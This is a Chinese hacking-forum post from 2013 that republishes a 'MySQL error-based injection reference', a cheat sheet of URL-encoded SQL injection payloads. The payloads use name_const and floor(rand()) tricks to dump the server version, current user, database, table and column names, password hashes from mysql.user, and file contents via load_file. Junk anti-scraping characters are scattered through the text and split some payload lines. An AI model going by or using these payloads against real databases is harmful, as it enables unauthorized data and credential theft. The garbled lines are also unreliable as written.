找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1978|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 2 B3 _/ g2 w' y
# a" o% @9 b' Y

  Y) q. k! |. v  R9 y" ~) |. @Mysql暴错注入参考(pdf),每天一贴。。。; t! x2 r! G3 \- Z

- x+ O2 V& w9 D5 ?, o9 gMySql Error Based Injection Reference/ |- h8 ]0 W" n
[Mysql暴错注入参考]
( Y* P8 Q9 x$ u2 FAuthornig0s1992
$ G9 V) K; z5 m4 {' z# DBlog:http://pnig0s1992.blog.51cto.com/
* e% |  E/ Z0 c' eTeAm:http://www.FreeBuf.com/0 k" {5 y9 Q) T0 P# b+ t* J
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功0 w( k) j9 O3 ~( F4 v* T" W2 R  w
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
( D/ _% D$ {3 I, {& k1 o查询版本:
" X3 {0 N% z% M: Q& ]Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+6 V1 E' J; Z6 v9 s' g
join+(select+name_const(@@version,0))b)c)2 d' p- d0 o* B, X/ v4 L, c
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro7 E" [, q# ?9 s& S
up by a)b)
# |4 l/ ~# ~8 Q/ K0 j" T6 S查询当前用户:) w$ O  Y- i, Z4 O1 U6 _7 x
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)  E. k0 K) i- `+ ^
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r5 T( `/ W# f7 V$ z& L6 h
and(0)*2))x+from+information_schema.tables+group+by+x)a)' k# G9 P) n2 S/ u. U9 I: w& ?
查询当前数据库:
& ~# ^+ U0 s# f2 P4 K9 yMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)) w7 ?  k/ T2 y5 T
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) \. J  B# S& `! f3 }or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)/ L* ?7 a# M+ S+ S8 a1 X; g2 @
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+/ ?: h3 C7 w+ ^* D+ x' I
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
* d4 @( j2 g; A! g) j5 E: U- ^顺序替换( G0 k" l# E+ u% K
爆指定库数目:; a- k+ ^1 N( e  |
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t& k2 Z: c% P7 T( u3 p. t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
9 b3 b" Q2 o! b" N3 v+ W+by+x)a)+and+1=1 0x6D7973716C=mysql
5 b) ~  z, I& t# m! p2 k# \- v( Y0 u0 g依次爆表:
( R5 l* x9 [0 U% }& ]/ Iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t$ c6 \4 n; c- o8 S9 C. K
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta8 v* @5 T2 `6 x9 v8 H2 K
bles+group+by+x)a)+and+1=1
: a* S: X# S  i. C" b: q4 ]0x6D7973716C=Mysql 将n顺序替换2 ]/ t- d# l; e4 P7 e  S
爆表内字段数目:
! w; Z1 w' ?; n1 ^and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
" t6 l3 R; p! M5 }+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran% E$ e3 @) l- c6 u. G, b2 B
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
; O/ q4 ~# Y; p8 K: b# I依次爆字段:
9 r  O6 z  U* L. @% C5 `7 [- Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
1 M! v- i) C( n; J) P5 c3 z0 \+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1, d" b8 l3 {- q# W& h) J+ f- I
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
! g; C" a! y& O  V1 r! ]9 f, K2 R依次暴内容:" [- D; f* J+ o3 y
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& e+ f5 v7 X( r  A" ]+ L( u
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# |4 f! [' Z  L- _- t将n顺序替换0 B" v' H3 z* r1 O/ {
爆文件内容:
" @7 N* ]- z% v9 M9 gand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a, h  i; ]- o0 }0 [6 ^
from+information_schema.tables+group+by+a)b) - T8 I+ t; }3 D# |' {; _5 i5 x( p
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节' o. `' c7 |( s
Thx for reading.
  V% Y& U# P1 u  ?& s1 H9 M! V, M6 `+ q# j; N7 A; \* s
不要下载也可以,
9 X- t3 S8 ^( A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表